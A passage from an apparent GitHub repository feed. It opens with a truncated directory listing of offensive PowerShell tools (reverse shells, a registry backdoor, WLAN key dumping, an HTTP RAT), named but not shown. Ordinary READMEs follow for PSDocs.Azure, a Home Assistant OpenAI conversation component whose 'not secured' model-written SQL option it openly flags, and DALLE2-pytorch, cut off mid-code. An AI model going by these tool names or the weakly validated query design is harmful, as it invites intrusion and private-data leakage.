-rwxrwx--- 1 tokyoneon tokyoneon 4170 Aug 29 22:02 Invoke-PowerShellIcmp.ps1
-rwxrwx--- 1 tokyoneon tokyoneon  281 Aug 29 22:02 Invoke-PowerShellTcpOneLine.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4404 Aug 29 22:02 Invoke-PowerShellTcp.ps1
-rwxrwx--- 1 tokyoneon tokyoneon  594 Aug 29 22:02 Invoke-PowerShellUdpOneLine.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 5754 Aug 29 22:02 Invoke-PowerShellUdp.ps1
drwxrwx--- 1 tokyoneon tokyoneon 4096 Aug 28 23:27 misc
-rwxrwx--- 1 tokyoneon tokyoneon  616 Aug 29 22:02 powershell_reverse_shell.ps1

shells/misc:
total 36
-rwxrwx--- 1 tokyoneon tokyoneon 1757 Aug 12 19:53 Add-RegBackdoor.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 3648 Aug 12 19:53 Get-Information.ps1
-rwxrwx--- 1 tokyoneon tokyoneon  672 Aug 12 19:53 Get-WLAN-Keys.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 4430 Aug 28 23:31 Invoke-PortScan.ps1
-rwxrwx--- 1 tokyoneon tokyoneon 6762 Aug 29 00:27 Invoke-PoshRatHttp.ps1

Resources

Azure/PSDocs.Azure

2024-01-03T01:35:42Z

Generate documentation from Azure infrastructure as code (IaC) artifacts.

PSDocs for Azure

Generate markdown from Azure infrastructure as code (IaC) artifacts.

Features of PSDocs for Azure include:

Ready to go - Use pre-built templates.
DevOps - Generate within a continuous integration (CI) pipeline.
Cross-platform - Run on MacOS, Linux, and Windows.

Support

This project uses GitHub Issues to track bugs and feature requests. Please search the existing issues before filing new issues to avoid duplicates.

For new issues, file your bug or feature request as a new issue.
For help, discussion, and support questions about using this project, join or start a discussion.

If you have any problems with the PSDocs engine, please check the project GitHub issues page instead.

Support for this project/ product is limited to the resources listed above.

Getting the modules

This project requires the PSDocs PowerShell module. For details on each see install.

You can download and install these modules from the PowerShell Gallery.

Module	Description	Downloads / instructions
PSDocs.Azure	Generate documentation from Azure infrastructure as code (IaC) artifacts.	latest / instructions

Getting started

The follow example uses PSDocs for Azure to generate markdown from an Azure template. The source template and generated output are provided below.

For frequently asked questions, see the FAQ.

Annotate templates files

In its simplest structure, an Azure template has the following elements:

{
  "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#",
  "contentVersion": "1.0.0.0",
  "parameters": {  },
  "variables": {  },
  "functions": [  ],
  "resources": [  ],
  "outputs": {  }
}

Additionally a metadata property can be added in most places throughout the template. For example:

{
    "$schema": "https://schema.management.azure.com/schemas/2019-04-01/deploymentTemplate.json#",
    "contentVersion": "1.0.0.0",
    "metadata": {
        "name": "Storage Account",
        "description": "Create or update a Storage Account."
    },
    "parameters": {
        "storageAccountName": {
            "type": "string",
            "metadata": {
                "description": "The name of the Storage Account."
            }
        },
        "tags": {
            "type": "object",
            "metadata": {
                "description": "Tags to apply to the resource.",
                "example": {
                    "service": "<service_name>",
                    "env": "prod"
                }
            }
        }
    },
    "resources": [
    ],
    "outputs": {
        "resourceId": {
            "type": "string",
            "value": "[resourceId('Microsoft.Storage/storageAccounts', variables('storageAccountName'))]",
            "metadata": {
                "description": "A unique resource identifier for the storage account."
            }
        }
    }
}

This metadata and the template structure itself can be used to dynamically generate documentation. Documenting templates in this way allows you to:

Include meaningful information with minimal effort.
Use DevOps culture to author infrastructure code and documentation side-by-side.
- Review pull requests (PR) with changes and documentation together.
- Use continuous integration and deployment to release changes.
Keep documentation up-to-date. No separate wiki or document to keep in sync.

PSDocs interprets the template structure and metadata to generate documentation as markdown. Generating documentation as markdown allows you to publish web-based content on a variety of platforms.

PSDocs supports the following metadata:

Field	Scope	Type	Description
`name`	Template	`string`	Used for markdown page title.
`summary`	Template	`string`	Used as a short description for the markdown page.
`description`	Template	`string`	Used as a detailed description for the markdown page.
`description`	Parameter	`string`	Used as the description for the parameter.
`example`	Parameter	`string`, `boolean`, `object`, or `array`	An example use of the parameter. The example is included in the JSON snippet. If an example is not included the default value is used instead.
`ignore`	Parameter	`boolean`	When `true` the parameter is not included in the JSON snippet.
`description`	Output	`string`	Used as the description for the output.

An example of an Azure Storage Account template with metadata included is available here.

Running locally

To run PSDocs for Azure locally use the Invoke-PSDocument cmdlet.

# Import module
Import-Module PSDocs.Azure;

# Generate markdown
Invoke-PSDocument -Module PSDocs.Azure -InputObject '<template_file_path>' -OutputPath out/docs/;

This will generate a README.md in out/docs directory with the generated markdown (also creates out/docs/ directory if it does not exist).

Scanning for templates

To scan for templates in a directory the Get-AzDocTemplateFile cmdlet can be used.

# Import module
Import-Module PSDocs.Azure;

# Scan for Azure template file recursively in the templates/ directory
Get-AzDocTemplateFile -Path templates/ | ForEach-Object {
    # Generate a standard name of the markdown file. i.e. <name>_<version>.md
    $template = Get-Item -Path $_.TemplateFile;
    $templateName = $template.Directory.Parent.Name;
    $version = $template.Directory.Name;
    $docName = "$($templateName)_$version";

    # Generate markdown
    Invoke-PSDocument -Module PSDocs.Azure -OutputPath out/docs/ -InputObject $template.FullName -InstanceName $docName;
}

In this example template files are stored in a directory structure such as templates/<name>/<version>/template.json. i.e. templates/storage/v1/template.json.

The example finds all the Azure template files and outputs a markdown file for each in out/docs/. An example of the generated markdown is available here

Using with Azure Pipelines

The following example shows how to setup Azure Pipelines to generate ARM template documentation in the markdown format. This example copies the generated markdown files to a designated blob storage.

Create a new YAML pipeline with the Starter pipeline template.
Add a PowerShell task to:
- Install PSDocs.Azure module.
- Scan for Azure template file recursively in the templates/ directory.
- Generate a standard name of the markdown file. i.e. <name>_<version>.md
- Generate the markdown to a specific directory.
Add an AzureFileCopy task to copy the generated markdown to an Azure Storage Blob container.

For example:

# Example: .azure-pipelines/psdocs-blobstorage.yaml

jobs:
- job: 'generate_arm_template_documentation'
  displayName: 'Generate ARM template docs'
  pool:
    vmImage: 'windows-2019'
  steps:
  # STEP 1: Generate Markdowns using PSDocs
  - powershell: | 
      Install-Module -Name 'PSDocs.Azure' -Repository PSGallery -force;
        # Scan for Azure template file recursively in the templates/ directory
        Get-AzDocTemplateFile -Path templates/ | ForEach-Object {
        # Generate a standard name of the markdown file. i.e. <name>_<version>.md
        $template = Get-Item -Path $_.TemplateFile;
        $templateName = $template.Directory.Parent.Name;
        $version = $template.Directory.Name;
        $docName = "$($templateName)_$version";
        # Generate markdown
        Invoke-PSDocument -Module PSDocs.Azure -OutputPath out/docs/ -InputObject $template.FullName -InstanceName $docName;
      }
    displayName: 'Export template data'
    
  # STEP 2: Copy files to a storage account
  - task: AzureFileCopy@4
    displayName: 'Copy files to a storage account blob container'
    inputs:
      SourcePath: 'out/docs/*'
      azureSubscription: 'psdocstest'
      Destination: 'AzureBlob'
      storage: '<storageaccountname>' 
      ContainerName: 'ps-docs'

Using with GitHub Actions

The following example shows how to setup GitHub Actions to copy generated markdown files to an Azure blob storage account.

See Creating a workflow file to create an empty workflow file.
Add a PowerShell step to:
- Install PSDocs.Azure module.
- Scan for Azure template file recursively in the templates/ directory.
- Generate a standard name of the markdown file. i.e. <name>_<version>.md
- Generate the markdown to a specific directory.
Set the STORAGEACCOUNTSECRET action secret.
Use an Azure Blob Storage Upload action to copy the generated markdown to an Azure Storage Blob container.

For example:

# Example: .github/workflows/arm-docs.yaml

name: Generate ARM templates docs
on:
  push:
    branches: [ main ]
jobs:
  arm_docs:
    name: Generate ARM template docs
    runs-on: ubuntu-latest
    steps:
    - name: Checkout
      uses: actions/checkout@v2
    # STEP 1: Generate Markdowns using PSDocs
    - name: Generate ARM markdowns
      run: | 
        Install-Module -Name 'PSDocs.Azure' -Repository PSGallery -force;
        # Scan for Azure template file recursively in the templates/ directory
        Get-AzDocTemplateFile -Path templates/ | ForEach-Object {
          # Generate a standard name of the markdown file. i.e. <name>_<version>.md
          $template = Get-Item -Path $_.TemplateFile;
          $templateName = $template.Directory.Parent.Name;
          $version = $template.Directory.Name;
          $docName = "$($templateName)_$version";
          # Generate markdown
          Invoke-PSDocument -Module PSDocs.Azure -OutputPath out/docs/ -InputObject $template.FullName -InstanceName $docName;
        }
      shell: pwsh

    # STEP 2: Copy files to a storage account
    - name: Copy files to a storage account
      uses: bacongobbler/azure-blob-storage-upload@v1.1.1
      with:
        connection_string: ${{ secrets.STORAGEACCOUNTSECRET }}
        container_name: ps-docs
        source_dir: 'out/docs/*'

Language reference

PSDocs for Azure extends PowerShell with the following cmdlets and concepts.

Commands

The following commands exist in the PSDocs.Azure module:

Get-AzDocTemplateFile - Get Azure template files within a directory structure.

Concepts

The following conceptual topics exist in the PSDocs.Azure module:

Changes and versioning

Modules in this repository will use the semantic versioning model to declare breaking changes from v1.0.0. Prior to v1.0.0, breaking changes may be introduced in minor (0.x.0) version increments. For a list of module changes please see the change log.

Pre-release module versions are created on major commits and can be installed from the PowerShell Gallery. Pre-release versions should be considered experimental. Modules and change log details for pre-releases will be removed as standard releases are made available.

Contributing

This project welcomes contributions and suggestions. If you are ready to contribute, please visit the contribution guide.

Code of Conduct

This project has adopted the Microsoft Open Source Code of Conduct. For more information see the Code of Conduct FAQ or contact opencode@microsoft.com with any additional questions or comments.

Maintainers

License

This project is licensed under the MIT License.

jekalmin/extended_openai_conversation

2024-01-03T01:36:06Z

Home Assistant custom component of conversation agent. It uses OpenAI to control your devices.

Extended OpenAI Conversation

This is custom component of Home Assistant.

Derived from OpenAI Conversation with some new features such as call-service.

Additional Features

Ability to call service of Home Assistant
Ability to create automation
Ability to get data from external API or web page
Ability to retrieve state history of entities
Option to pass the current user's name to OpenAI via the user message context

How it works

Extended OpenAI Conversation uses OpenAI API's feature of function calling to call service of Home Assistant.

Since "gpt-3.5-turbo" model already knows how to call service of Home Assistant in general, you just have to let model know what devices you have by exposing entities

Installation

Install via HACS or by copying extended_openai_conversation folder into <config directory>/custom_components
Restart Home Assistant
Go to Settings > Devices & Services.
In the bottom right corner, select the Add Integration button.
Follow the instructions on screen to complete the setup (API Key is required).
- Generating an API Key
- Specify "Base Url" if using OpenAI compatible servers like LocalAI, otherwise leave as it is.
Go to Settings > Voice Assistants.
Click to edit Assistant (named "Home Assistant" by default).
Select "Extended OpenAI Conversation" from "Conversation agent" tab.

guide image

Preparation

After installed, you need to expose entities from "http://{your-home-assistant}/config/voice-assistants/expose".

Examples

Configuration

Options

By clicking a button from Edit Assist, Options can be customized.
Options include OpenAI Conversation options and two new options.

Attach Username: Pass the active user's name (if applicable) to OpenAI via the message payload. Currently, this only applies to conversations through the UI or REST API.
Maximum Function Calls Per Conversation: limit the number of function calls in a single conversation. (Sometimes function is called over and over again, possibly running into infinite loop)
Functions: A list of mappings of function spec to function.
- spec: Function which would be passed to functions of chat API.
- function: function that will be called.

Edit Assist	Options

Functions

Supported function types

native: built-in function provided by "extended_openai_conversation".
- Currently supported native functions and parameters are:
  - execute_service
    - domain(string): domain to be passed to hass.services.async_call
    - service(string): service to be passed to hass.services.async_call
    - service_data(string): service_data to be passed to hass.services.async_call
  - add_automation
    - automation_config(string): An automation configuration in a yaml format
  - get_history
    - entity_ids(list): a list of entity ids to filter
    - start_time(string): defaults to 1 day before the time of the request. It determines the beginning of the period
    - end_time(string): the end of the period in URL encoded format (defaults to 1 day)
    - minimal_response(boolean): only return last_changed and state for states other than the first and last state (defaults to true)
    - no_attributes(boolean): skip returning attributes from the database (defaults to true)
    - significant_changes_only(boolean): only return significant state changes (defaults to true)
script: A list of services that will be called
template: The value to be returned from function.
rest: Getting data from REST API endpoint.
scrape: Scraping information from website
composite: A sequence of functions to execute.

Below is a default configuration of functions.

- spec:
    name: execute_services
    description: Use this function to execute service of devices in Home Assistant.
    parameters:
      type: object
      properties:
        list:
          type: array
          items:
            type: object
            properties:
              domain:
                type: string
                description: The domain of the service
              service:
                type: string
                description: The service to be called
              service_data:
                type: object
                description: The service data object to indicate what to control.
                properties:
                  entity_id:
                    type: string
                    description: The entity_id retrieved from available devices. It must start with domain, followed by dot character.
                required:
                - entity_id
            required:
            - domain
            - service
            - service_data
  function:
    type: native
    name: execute_service

Function Usage

This is an example of configuration of functions.

Copy and paste below yaml configuration into "Functions".
Then you will be able to let OpenAI call your function.

1. template

1-1. Get current weather

- spec:
    name: get_current_weather
    description: Get the current weather in a given location
    parameters:
      type: object
      properties:
        location:
          type: string
          description: The city and state, e.g. San Francisco, CA
        unit:
          type: string
          enum:
          - celcius
          - farenheit
      required:
      - location
  function:
    type: template
    value_template: The temperature in {{ location }} is 25 {{unit}}

2. script

2-1. Add item to shopping cart

- spec:
    name: add_item_to_shopping_cart
    description: Add item to shopping cart
    parameters:
      type: object
      properties:
        item:
          type: string
          description: The item to be added to cart
      required:
      - item
  function:
    type: script
    sequence:
    - service: shopping_list.add_item
      data:
        name: '{{item}}'

2-2. Send messages to another messenger

In order to accomplish "send it to Line" like example3, register a notify function like below.

- spec:
    name: send_message_to_line
    description: Use this function to send message to Line.
    parameters:
      type: object
      properties:
        message:
          type: string
          description: message you want to send
      required:
      - message
  function:
    type: script
    sequence:
    - service: script.notify_all
      data:
        message: "{{ message }}"

2-3. Get events from calendar

In order to pass result of calling service to OpenAI, set response variable to _function_result.

- spec:
    name: get_events
    description: Use this function to get list of calendar events.
    parameters:
      type: object
      properties:
        start_date_time:
          type: string
          description: The start date time in '%Y-%m-%dT%H:%M:%S%z' format
        end_date_time:
          type: string
          description: The end date time in '%Y-%m-%dT%H:%M:%S%z' format
      required:
      - start_date_time
      - end_date_time
  function:
    type: script
    sequence:
    - service: calendar.list_events
      data:
        start_date_time: "{{start_date_time}}"
        end_date_time: "{{end_date_time}}"
      target:
        entity_id: calendar.test
      response_variable: _function_result

2-4. Play Youtube on TV

- spec:
    name: play_youtube
    description: Use this function to play Youtube.
    parameters:
      type: object
      properties:
        video_id:
          type: string
          description: The video id.
      required:
      - video_id
  function:
    type: script
    sequence:
    - service: webostv.command
      data:
        entity_id: media_player.{YOUR_WEBOSTV}
        command: system.launcher/launch
        payload:
          id: youtube.leanback.v4
          contentId: "{{video_id}}"
    - delay:
        hours: 0
        minutes: 0
        seconds: 10
        milliseconds: 0
    - service: webostv.button
      data:
        entity_id: media_player.{YOUR_WEBOSTV}
        button: ENTER

2-5. Play Netflix on TV

- spec:
    name: play_netflix
    description: Use this function to play Netflix.
    parameters:
      type: object
      properties:
        video_id:
          type: string
          description: The video id.
      required:
      - video_id
  function:
    type: script
    sequence:
    - service: webostv.command
      data:
        entity_id: media_player.{YOUR_WEBOSTV}
        command: system.launcher/launch
        payload:
          id: netflix
          contentId: "m=https://www.netflix.com/watch/{{video_id}}"

3. native

3-1. Add automation

Before adding automation, I highly recommend set notification on automation_registered_via_extended_openai_conversation event and create separate "Extended OpenAI Assistant" and "Assistant"

(Automation can be added even if conversation fails because of failure to get response message, not automation)

Create Assistant	Notify on created

Copy and paste below configuration into "Functions"

For English

- spec:
    name: add_automation
    description: Use this function to add an automation in Home Assistant.
    parameters:
      type: object
      properties:
        automation_config:
          type: string
          description: A configuration for automation in a valid yaml format. Next line character should be \n. Use devices from the list.
      required:
      - automation_config
  function:
    type: native
    name: add_automation

For Korean

- spec:
    name: add_automation
    description: Use this function to add an automation in Home Assistant.
    parameters:
      type: object
      properties:
        automation_config:
          type: string
          description: A configuration for automation in a valid yaml format. Next line character should be \\n, not \n. Use devices from the list.
      required:
      - automation_config
  function:
    type: native
    name: add_automation

3-2. Get History

Get state history of entities

- spec:
    name: get_history
    description: Retrieve historical data of specified entities.
    parameters:
      type: object
      properties:
        entity_ids:
          type: array
          items:
            type: string
            description: The entity id to filter.
        start_time:
          type: string
          description: Start of the history period in "%Y-%m-%dT%H:%M:%S%z".
        end_time:
          type: string
          description: End of the history period in "%Y-%m-%dT%H:%M:%S%z".
      required:
      - entity_ids
  function:
    type: composite
    sequence:
      - type: native
        name: get_history
        response_variable: history_result
      - type: template
        value_template: >-
          {% set ns = namespace(result = [], list = []) %}
          {% for item_list in history_result %}
              {% set ns.list = [] %}
              {% for item in item_list %}
                  {% set last_changed = item.last_changed | as_timestamp | timestamp_local if item.last_changed else None %}
                  {% set new_item = dict(item, last_changed=last_changed) %}
                  {% set ns.list = ns.list + [new_item] %}
              {% endfor %}
              {% set ns.result = ns.result + [ns.list] %}
          {% endfor %}
          {{ ns.result }}

4. scrape

4-1. Get current HA version

Scrape version from webpage, "https://www.home-assistant.io"

Unlike scrape, "value_template" is added at root level in which scraped data from sensors are passed.

- spec:
    name: get_ha_version
    description: Use this function to get Home Assistant version
    parameters:
      type: object
      properties:
        dummy:
          type: string
          description: Nothing
  function:
    type: scrape
    resource: https://www.home-assistant.io
    value_template: "version: {{version}}, release_date: {{release_date}}"
    sensor:
      - name: version
        select: ".current-version h1"
        value_template: '{{ value.split(":")[1] }}'
      - name: release_date
        select: ".release-date"
        value_template: '{{ value.lower() }}'

5. rest

5-1. Get friend names

Sample URL: https://jsonplaceholder.typicode.com/users

- spec:
    name: get_friend_names
    description: Use this function to get friend_names
    parameters:
      type: object
      properties:
        dummy:
          type: string
          description: Nothing.
  function:
    type: rest
    resource: https://jsonplaceholder.typicode.com/users
    value_template: '{{value_json | map(attribute="name") | list }}'

6. composite

6-1. Search Youtube Music

When using ytube_music_player, after ytube_music_player.search service is called, result is stored in attribute of sensor.ytube_music_player_extra entity.

- spec:
    name: search_music
    description: Use this function to search music
    parameters:
      type: object
      properties:
        query:
          type: string
          description: The query
      required:
      - query
  function:
    type: composite
    sequence:
    - type: script
      sequence:
      - service: ytube_music_player.search
        data:
          entity_id: media_player.ytube_music_player
          query: "{{ query }}"
    - type: template
      value_template: >-
        media_content_type,media_content_id,title
        {% for media in state_attr('sensor.ytube_music_player_extra', 'search') -%}
          {{media.type}},{{media.id}},{{media.title}}
        {% endfor%}

7. sqlite

7-1. Let model generate a query

Without examples, a query tries to fetch data only from "states" table like below

Question: When did bedroom light turn on?
Query(generated by gpt-3.5): SELECT * FROM states WHERE entity_id = 'input_boolean.livingroom_light_2' AND state = 'on' ORDER BY last_changed DESC LIMIT 1
Since "entity_id" is stored in "states_meta" table, we need to give examples of question and query.
Not secured, but flexible way

- spec:
    name: query_histories_from_db
    description: >-
      Use this function to query histories from Home Assistant SQLite database.
      Example:
        Question: When did bedroom light turn on?
        Answer: SELECT datetime(s.last_updated_ts, 'unixepoch', 'localtime') last_updated_ts FROM states s INNER JOIN states_meta sm ON s.metadata_id = sm.metadata_id INNER JOIN states old ON s.old_state_id = old.state_id WHERE sm.entity_id = 'light.bedroom' AND s.state = 'on' AND s.state != old.state ORDER BY s.last_updated_ts DESC LIMIT 1
        Question: Was livingroom light on at 9 am?
        Answer: SELECT datetime(s.last_updated_ts, 'unixepoch', 'localtime') last_updated, s.state FROM states s INNER JOIN states_meta sm ON s.metadata_id = sm.metadata_id INNER JOIN states old ON s.old_state_id = old.state_id WHERE sm.entity_id = 'switch.livingroom' AND s.state != old.state AND datetime(s.last_updated_ts, 'unixepoch', 'localtime') < '2023-11-17 08:00:00' ORDER BY s.last_updated_ts DESC LIMIT 1
    parameters:
      type: object
      properties:
        query:
          type: string
          description: A fully formed SQL query.
  function:
    type: sqlite

Get last changed date time of state	Get state at specific time

FAQ

Can gpt modify or delete data?

No, since connection is created in a read only mode, data are only used for fetching.
Can gpt query data that are not exposed in database?

Yes, it is hard to validate whether a query is only using exposed entities.
Query uses UTC time. Is there any way to adjust timezone?

Yes. Set "TZ" environment variable to your region (eg. Asia/Seoul).
Or use plus/minus hours to adjust instead of 'localtime' (eg. datetime(s.last_updated_ts, 'unixepoch', '+9 hours')).

7-2. Let model generate a query (with minimum validation)

If need to check at least "entity_id" of exposed entities is present in a query, use "is_exposed_entity_in_query" in combination with "raise".
Not secured enough, but flexible way

- spec:
    name: query_histories_from_db
    description: >-
      Use this function to query histories from Home Assistant SQLite database.
      Example:
        Question: When did bedroom light turn on?
        Answer: SELECT datetime(s.last_updated_ts, 'unixepoch', 'localtime') last_updated_ts FROM states s INNER JOIN states_meta sm ON s.metadata_id = sm.metadata_id INNER JOIN states old ON s.old_state_id = old.state_id WHERE sm.entity_id = 'light.bedroom' AND s.state = 'on' AND s.state != old.state ORDER BY s.last_updated_ts DESC LIMIT 1
        Question: Was livingroom light on at 9 am?
        Answer: SELECT datetime(s.last_updated_ts, 'unixepoch', 'localtime') last_updated, s.state FROM states s INNER JOIN states_meta sm ON s.metadata_id = sm.metadata_id INNER JOIN states old ON s.old_state_id = old.state_id WHERE sm.entity_id = 'switch.livingroom' AND s.state != old.state AND datetime(s.last_updated_ts, 'unixepoch', 'localtime') < '2023-11-17 08:00:00' ORDER BY s.last_updated_ts DESC LIMIT 1
    parameters:
      type: object
      properties:
        query:
          type: string
          description: A fully formed SQL query.
  function:
    type: sqlite
    query: >-
      {%- if is_exposed_entity_in_query(query) -%}
        {{ query }}
      {%- else -%}
        {{ raise("entity_id should be exposed.") }}
      {%- endif -%}

7-3. Defined SQL manually

Use a user defined query, which is verified. And model passes a requested entity to get data from database.
Secured, but less flexible way

- spec:
    name: get_last_updated_time_of_entity
    description: >
      Use this function to get last updated time of entity
    parameters:
      type: object
      properties:
        entity_id:
          type: string
          description: The target entity
  function:
    type: sqlite
    query: >-
      {%- if is_exposed(entity_id) -%}
        SELECT datetime(s.last_updated_ts, 'unixepoch', 'localtime') as last_updated_ts
        FROM states s
          INNER JOIN states_meta sm ON s.metadata_id = sm.metadata_id
          INNER JOIN states old ON s.old_state_id = old.state_id
        WHERE sm.entity_id = '{{entity_id}}' AND s.state != old.state ORDER BY s.last_updated_ts DESC LIMIT 1
      {%- else -%}
        {{ raise("entity_id should be exposed.") }}
      {%- endif -%}

Practical Usage

See more practical examples.

Logging

In order to monitor logs of API requests and responses, add following config to configuration.yaml file

logger:
  logs:
    custom_components.extended_openai_conversation: info

lucidrains/DALLE2-pytorch

2024-01-03T01:36:06Z

Implementation of DALL-E 2, OpenAI's updated text-to-image synthesis neural network, in Pytorch

DALL-E 2 - Pytorch

Implementation of DALL-E 2, OpenAI's updated text-to-image synthesis neural network, in Pytorch.

Yannic Kilcher summary | AssemblyAI explainer

The main novelty seems to be an extra layer of indirection with the prior network (whether it is an autoregressive transformer or a diffusion network), which predicts an image embedding based on the text embedding from CLIP. Specifically, this repository will only build out the diffusion prior network, as it is the best performing variant (but which incidentally involves a causal transformer as the denoising network 😂)

This model is SOTA for text-to-image for now.

Please join if you are interested in helping out with the replication with the LAION community | Yannic Interview

As of 5/23/22, it is no longer SOTA. SOTA will be here. Jax versions as well as text-to-video project will be shifted towards the Imagen architecture, as it is way simpler.

Status

A research group has used the code in this repository to train a functional diffusion prior for their CLIP generations. Will share their work once they release their preprint. This, and Katherine's own experiments, validate OpenAI's finding that the extra prior increases variety of generations.
Decoder is now verified working for unconditional generation on my experimental setup for Oxford flowers. 2 researchers have also confirmed Decoder is working for them.

ongoing at 21k steps

Justin Pinkney successfully trained the diffusion prior in the repository for his CLIP to Stylegan2 text-to-image application
Romain has scaled up training to 800 GPUs with the available scripts without any issues

Pre-Trained Models

LAION is training prior models. Checkpoints are available on 🤗huggingface and the training statistics are available on 🐝WANDB.
Decoder - In-progress test run 🚧
Decoder - Another test run with sparse attention
DALL-E 2 🚧 - DALL-E 2 Laion repository

Appreciation

This library would not have gotten to this working state without the help of

Zion for the distributed training code for the diffusion prior
Aidan for the distributed training code for the decoder as well as the dataloaders
Kumar for working on the initial diffusion training script
Romain for the pull request reviews and project management
He Cao and xiankgx for the Q&A and for identifying of critical bugs
Marunine for identifying issues with resizing of the low resolution conditioner, when training the upsampler, in addition to various other bug fixes
MalumaDev for proposing the use of pixel shuffle upsampler for fixing checkboard artifacts
Katherine for her advice
Stability AI for the generous sponsorship
🤗 Huggingface and in particular Sylvain for the Accelerate library
Alex for einops, indispensable tool for tensor manipulation

... and many others. Thank you! 🙏

Install

$ pip install dalle2-pytorch

Usage

To train DALLE-2 is a 3 step process, with the training of CLIP being the most important

To train CLIP, you can either use x-clip package, or join the LAION discord, where a lot of replication efforts are already underway.

This repository will demonstrate integration with x-clip for starters

import torch
from dalle2_pytorch import CLIP

clip = CLIP(
    dim_text = 512,
    dim_image = 512,
    dim_latent = 512,
    num_text_tokens = 49408,
    text_enc_depth = 1,
    text_seq_len = 256,
    text_heads = 8,
    visual_enc_depth = 1,
    visual_image_size = 256,
    visual_patch_size = 32,
    visual_heads = 8,
    use_all_token_embeds = True,            # whether to use fine-grained contrastive learning (FILIP)
    decoupled_contrastive_learning = True,  # use decoupled contrastive learning (DCL) objective function, removing positive pairs from the denominator of the InfoNCE loss (CLOOB + DCL)
    extra_latent_projection = True,         # whether to use separate projections for text-to-image vs image-to-text comparisons (CLOOB)
    use_visual_ssl = True,                  # whether to do self supervised learning on images
    visual_ssl_type = 'simclr',             # can be either 'simclr' or 'simsiam', depending on using DeCLIP or SLIP
    use_mlm = False,                        # use masked language learning (MLM) on text (DeCLIP)
    text_ssl_loss_weight = 0.05,            # weight for text MLM loss
    image_ssl_loss_weight = 0.05            # weight for image self-supervised learning loss
).cuda()

# mock data

text = torch.randint(0, 49408, (4, 256)).cuda()
images = torch.randn(4, 3, 256, 256).cuda()

# train

loss = clip(
    text,
    images,
    return_loss = True              # needs to be set to True to return contrastive loss
)

loss.backward()

# do the above with as many texts and images as possible in a loop

Then, you will need to train the decoder, which learns to generate images based on the image embedding coming from the trained CLIP above

import torch
from dalle2_pytorch import Unet, Decoder, CLIP

# trained clip from step 1

clip = CLIP(
    dim_text = 512,
    dim_image = 512,
    dim_latent = 512,
    num_text_tokens = 49408,
    text_enc_depth = 1,
    text_seq_len = 256,
    text_heads = 8,
    visual_enc_depth = 1,
    visual_image_size = 256,
    visual_patch_size = 32,
    visual_heads = 8
).cuda()

# unet for the decoder

unet = Unet(
    dim = 128,
    image_embed_dim = 512,
    cond_dim = 128,
    channels = 3,
    dim_mults=(1, 2, 4, 8)
).cuda()

# decoder, which contains the unet and clip

decoder = Decoder(
    unet = unet,
    clip = clip,
    timesteps = 100,
    image_cond_drop_prob = 0.1,
    text_cond_drop_prob = 0.5
).cuda()

# mock images (get a lot of this)

images = torch.randn(4, 3, 256, 256).cuda()

# feed images into decoder

loss = decoder(images)
loss.backward()

# do the above for many many many many steps
# then it will learn to generate images based on the CLIP image embeddings

Finally, the main contribution of the paper. The repository offers the diffusion prior network. It takes the CLIP text embeddings and tries to generate the CLIP image embeddings. Again, you will need the trained CLIP from the first step

import torch
from dalle2_pytorch import DiffusionPriorNetwork, DiffusionPrior, CLIP

# get trained CLIP from step one

clip = CLIP(
    dim_text = 512,
    dim_image = 512,
    dim_latent = 512,
    num_text_tokens = 49408,
    text_enc_depth = 6,
    text_seq_len = 256,
    text_heads = 8,
    visual_enc_depth = 6,
    visual_image_size = 256,
    visual_patch_size = 32,
    visual_heads = 8,
).cuda()

# setup prior network, which contains an autoregressive transformer

prior_network = DiffusionPriorNetwork(
    dim = 512,
    depth = 6,
    dim_head = 64,
    heads = 8
).cuda()

# diffusion prior network, which contains the CLIP and network (with transformer) above

diffusion_prior = DiffusionPrior(
    net = prior_network,
    clip = clip,
    timesteps = 100,
    cond_drop_prob = 0.2
).cuda()

# mock data

text = torch.randint(0, 49408, (4, 256)).cuda()
images = torch.randn(4, 3, 256, 256).cuda()

# feed text and images into diffusion prior network

loss = diffusion_prior(text, images)
loss.backward()

# do the above for many many many steps
# now the diffusion prior can generate image embeddings from the text embeddings

In the paper, they actually used a recently discovered technique, from Jonathan Ho himself (original author of DDPMs, the core technique used in DALL-E v2) for high resolution image synthesis.

This can easily be used within this framework as so

import torch
from dalle2_pytorch import Unet, Decoder, CLIP

# trained clip from step 1

clip = CLIP(
    dim_text = 512,
    dim_image = 512,
    dim_latent = 512,
    num_text_tokens = 49408,
    text_enc_depth = 6,
    text_seq_len = 256,
    text_heads = 8,
    visual_enc_depth = 6,
    visual_image_size = 256,
    visual_patch_size = 32,
    visual_heads = 8
).cuda()

# 2 unets for the decoder (a la cascading DDPM)

unet1 = Unet(
    dim = 32,
    image_embed_dim = 512,
    cond_dim = 128,
    channels = 3,
    dim_mults = (1, 2, 4, 8)
).cuda()

unet2 = Unet(
    dim = 32,
    image_embed_dim = 512,
    cond_dim = 128,
    channels = 3,
    dim_mults = (1, 2, 4, 8, 16)
).cuda()

# decoder, which contains the unet(s) and clip

decoder = Decoder(
    clip = clip,
    unet = (unet1, unet2),            # insert both unets in order of low resolution to highest resolution (you can have as many stages as you want here)
    image_sizes = (256, 512),         # resolutions, 256 for first unet, 512 for second. these must be unique and in ascending order (matches with the unets passed in)
    timesteps = 1000,
    image_cond_drop_prob = 0.1,
    text_cond_drop_prob = 0.5
).cuda()

# mock images (get a lot of this)

images = torch.randn(4, 3, 512, 512).cuda()

# feed images into decoder, specifying which unet you want to train
# each unet can be trained separately, which is one of the benefits of the cascading DDPM scheme

loss = decoder(images, unet_number = 1)
loss.backward()

loss = decoder(images, unet_number = 2)
loss.backward()

# do the above for many steps for both unets

Finally, to generate the DALL-E2 images from text. Insert the trained DiffusionPrior as well as the Decoder (which wraps CLIP, the causal transformer, and unet(s))

from dalle2_pytorch import DALLE2

dalle2 = DALLE2(
    prior = diffusion_prior,
    decoder = decoder
)

# send the text as a string if you want to use the simple tokenizer from DALLE v1
# or you can do it as token ids, if you have your own tokenizer

texts = ['glistening morning dew on a flower petal']
images = dalle2(texts) # (1, 3, 256, 256)

That's it!

Let's see the whole script below

import torch
from dalle2_pytorch import DALLE2, DiffusionPriorNetwork, DiffusionPrior, Unet, Decoder, CLIP

clip = CLIP(
    dim_text = 512,
    dim_image = 512,
    dim_latent = 512,
    num_text_tokens = 49408,
    text_enc_depth = 6,
    text_seq_len = 256,
    text_heads = 8,
